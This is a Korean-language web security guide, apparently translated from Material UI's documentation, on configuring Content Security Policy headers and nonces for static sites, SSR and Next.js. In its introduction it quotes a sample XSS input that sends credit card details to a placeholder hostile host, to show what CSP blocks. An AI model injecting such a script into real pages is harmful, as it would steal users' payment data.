Content Security Policy

Content Security Policy (CSP)

CSP 설정의 세부 사항을 다루는 섹션이에요. 보안 헤더를 제대로 구성해서 XSS 공격을 막고 싶다면 이 가이드를 따라가 보세요.

출처: 문서

본문

이 섹션에서는 CSP를 설정하는 방법에 대한 세부 사항을 다룰게요.

CSP란 무엇이고 왜 유용한가요? (What is CSP and why is it useful?)

CSP는 개발자가 자신의 에셋을 가져오는 소스를 화이트리스트에 등록하도록 요구함으로써 XSS(크로스 사이트 스크립팅) 공격을 완화해요. 이 목록은 서버에서 헤더로 반환돼요. 예를 들어 https://example.com에서 호스팅되는 사이트가 있다고 가정해 볼게요. CSP 헤더 default-src: 'self';는 https://example.com/*에 위치한 모든 에셋을 허용하고 다른 모든 것을 거부해요. 이스케이프되지 않은 사용자 입력이 표시되는 XSS에 취약한 웹사이트 섹션이 있다면, 공격자는 다음과 같은 입력을 할 수 있어요:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

이 취약점으로 공격자는 무엇이든 실행할 수 있어요. 하지만 안전한 CSP 헤더가 있으면 브라우저는 이 스크립트를 로드하지 않아요.

CSP에 대해 더 읽으려면 MDN Web Docs를 참고하세요.

:::info CSP는 선택 사항이에요. Material UI는 어떤 CSP 구성 없이도 동작해요. 프로젝트가 CSP를 요구하지 않는다면 이 가이드를 완전히 건너뛰어도 돼요. :::

정적 웹사이트 (Static websites)

사이트를 정적으로 호스팅한다면(예: S3 또는 CDN 전용 설정), 요청마다 고유한 값을 생성할 서버가 없기 때문에 nonce를 사용할 수 없어요. 이 경우 'unsafe-inline'이 유일한 옵션이에요:

Content-Security-Policy:
  default-src 'self';
  style-src 'self' 'unsafe-inline';
  script-src 'self' 'unsafe-inline';

서버 사이드 렌더링 (Server-Side Rendering, SSR)

서버가 있다면 요청마다 고유한 nonce를 생성해서 더 강력한 보안을 제공할 수 있어요. Material UI는 다음 CSP 지시어를 요구해요:

  • style-src-elem 'nonce-<base64>' — Material UI는 Emotion을 사용해 <style> 태그를 주입해요. 각 태그에는 일치하는 nonce가 필요해요.
  • style-src-attr 'unsafe-inline' — 일부 컴포넌트는 동적 값(CSS 커스텀 프로퍼티, 차원, 위치 지정)을 위해 인라인 style 속성을 적용해요.
  • script-src 'nonce-<base64>' — 인라인 <script>를 렌더링하는 InitColorSchemeScript를 사용할 때만 필요해요.

완전한 CSP 헤더는 다음과 같을 수 있어요:

Content-Security-Policy:
  default-src 'self';
  style-src-elem 'self' 'nonce-<base64>';
  style-src-attr 'unsafe-inline';
  script-src 'self' 'nonce-<base64>';

:::info 일부 보안 스캐너는 style-src-attr 'unsafe-inline'을 취약점으로 표시해요. 인라인 스타일은 이론적으로 CSS를 통한 데이터 유출에 사용될 수 있지만, 이는 공격자가 이미 페이지에 마크업을 주입할 수 있을 때만 동작해요. 그러한 주입은 이스케이프되지 않은 사용자 입력, 악의적이거나 손상된 제3자 스크립트, 또는 취약한 의존성에서 올 수 있어요. 그 자체로는 style-src-attr 'unsafe-inline'이 새로운 공격 벡터를 열지는 않아요; 그런 주입이 이미 존재할 때 방어 계층 하나를 줄일 뿐이에요. 이를 방지하려면 사용자 입력을 살균하고 신뢰하는 제3자 스크립트만 로드하세요. :::

nonce 설정하기 (Setting up the nonce)

nonce는 한 번만 사용되는 무작위로 생성된 문자열이에요. 각 요청마다 새 nonce를 생성하려면 서버 미들웨어를 추가해야 해요. CSP nonce는 Base 64로 인코딩된 문자열이에요. 다음과 같이 생성할 수 있어요:

import crypto from 'node:crypto';

const nonce = crypto.randomBytes(16).toString('base64'); // 128 bits of entropy

이것은 W3C CSP 사양 지침을 충족하는 값을 생성해요.

그런 다음 이 nonce를 CSP 헤더에 적용해요:

header('Content-Security-Policy').set(
  `default-src 'self'; style-src-elem 'self' 'nonce-${nonce}'; style-src-attr 'unsafe-inline'; script-src 'self' 'nonce-${nonce}';`,
);

서버의 <style> 태그에 nonce를 전달해야 해요.

<style
  data-emotion={`${style.key} ${style.ids.join(' ')}`}
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: style.css }}
/>

그런 다음, Emotion의 캐시에 이 nonce를 전달해서 이후의 <style> 태그에도 추가할 수 있게 해야 해요.

:::warning injectFirst와 함께 StyledEngineProvider를 사용하고 있었다면, Emotion의 CacheProvider로 교체하고 prepend: true 옵션을 추가해야 해요. :::

const cache = createCache({
  key: 'my-prefix-key',
  nonce: nonce,
  prepend: true,
});

function App(props) {
  return (
    <CacheProvider value={cache}>
      <Home />
    </CacheProvider>
  );
}

Vite

Vite를 사용해 CSP를 배포할 때는, Vite의 에셋과 모듈 내부 처리 때문에 설정해야 하는 특정 구성이 있어요. 전체 세부 사항은 Vite Features—Content Security Policy를 참고하세요.

Next.js Pages Router

Next.js Pages Router에서 nonce 설정 후 두 곳에서 Emotion 캐시에 전달해요:

  1. _document.tsx에서:
import {
  DocumentHeadTags,
  documentGetInitialProps,
  createEmotionCache,
} from '@mui/material-nextjs/v15-pagesRouter';
// other imports

type Props = DocumentInitialProps & DocumentHeadTagsProps & { nonce?: string };

export default function MyDocument(props: Props) {
  const { nonce } = props;

  return (
    <Html lang="en" className={roboto.className}>
      <Head>
        {/*...*/}
        <meta name="csp-nonce" content={nonce} />
        <DocumentHeadTags {...props} nonce={nonce} />
      </Head>
      <body>
        {/*...*/}
        <NextScript nonce={nonce} />
      </body>
    </Html>
  );
}

MyDocument.getInitialProps = async (ctx: DocumentContext) => {
  const { req } = ctx;
  const nonce = req?.headers['x-nonce'];
  if (typeof nonce !== 'string') {
    throw new Error('"nonce" header is missing');
  }

  const emotionCache = createEmotionCache({ nonce });
  const finalProps = await documentGetInitialProps(ctx, {
    emotionCache,
  });

  return { ...finalProps, nonce };
};
  1. _app.tsx에서(AppCacheProvider를 설정하는 경우):
import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter';
// other imports

export default function MyApp(props: AppProps & { nonce: string }) {
  const { Component, pageProps, nonce } = props;

  const emotionCache = useMemo(() => {
    const nonce = props.nonce || getNonce();

    return createEmotionCache({ nonce });
  }, [props.nonce]);

  return (
    <AppCacheProvider {...props} emotionCache={emotionCache}>
      {/* ... */}
    </AppCacheProvider>
  );
}

function getNonce(headers?: Record<string, string | string[] | undefined>) {
  if (headers) {
    return headers['x-nonce'] as string;
  }

  if (typeof document !== 'undefined') {
    const nonceMeta = document.querySelector('meta[name="csp-nonce"]');
    if (nonceMeta) {
      return nonceMeta.getAttribute('content') || undefined;
    }
  }

  return undefined;
}

MyApp.getInitialProps = async (appContext: AppContext) => {
  const nonce = getNonce(appContext.ctx?.req?.headers);
  if (typeof nonce !== 'string') {
    throw new Error('"nonce" header is missing');
  }

  return { ...otherProps, nonce };
};

styled-components

nonce의 구성은 간단하지 않지만, 더 많은 통찰력을 위해 이 이슈를 따라갈 수 있어요.

더 알아보기 (Learn more)